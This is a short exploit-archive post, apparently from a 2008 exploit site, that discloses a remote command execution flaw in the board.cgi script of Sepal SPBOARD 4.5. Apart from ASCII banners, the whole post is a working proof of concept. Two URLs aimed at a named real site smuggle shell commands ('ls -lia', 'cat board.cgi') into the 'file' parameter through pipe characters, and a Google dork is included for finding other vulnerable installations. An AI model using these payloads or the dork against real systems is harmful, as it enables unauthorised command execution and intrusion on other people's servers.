Sepal SPBOARD 4.5 (board.cgi) Remote Command Exec Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Sepal SPBOARD 4.5 (board.cgi) Remote Command Exec Vulnerability
# Published : 2008-10-29
# Author : GoLd_M
# Previous Title : H2O-CMS <= 3.4 Insecure Cookie Handling Vulnerability
# Next Title : e107 Plugin fm pro v1 (FD/Upload/DT) Multiple Remote Vulnerabilities

_____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _     / /    /      / ___|      / ___|  / ___|
  | |   | |_) |   V /    / _    | |  _      | |     | |    
  | |   |  _ <    | |    / ___   | |_| |  _  | |___  | |___ 
  |_|   |_| _   |_|   /_/   _  ____| (_)  ____|  ____|
                                                            

Sepal's SPBOARD v4.5 (board.cgi) Remote Command Execution Vulnerability
Script : ):
POC : 
    |---> http://sansuyu.net/cgi-bin/spboard/board.cgi?id=ors1&number=908.cgi&file=|ls -lia|&action=down_file
    |---> http://sansuyu.net/cgi-bin/spboard/board.cgi?id=ors1&number=908.cgi&file=|cat board.cgi|&action=down_file
    |---> Open By Mozilla Firefox 
Dork : http://www.google.com.ly/search?hl=ar&q=SPBOARD+v4.5

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  /  |
      | |  _   / _   | |      / _` |         | |/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       ____|  ___/  |_____|  __,_|  _____  |_|  |_|
                                      |_____|         

# www.Syue.com [2008-10-29]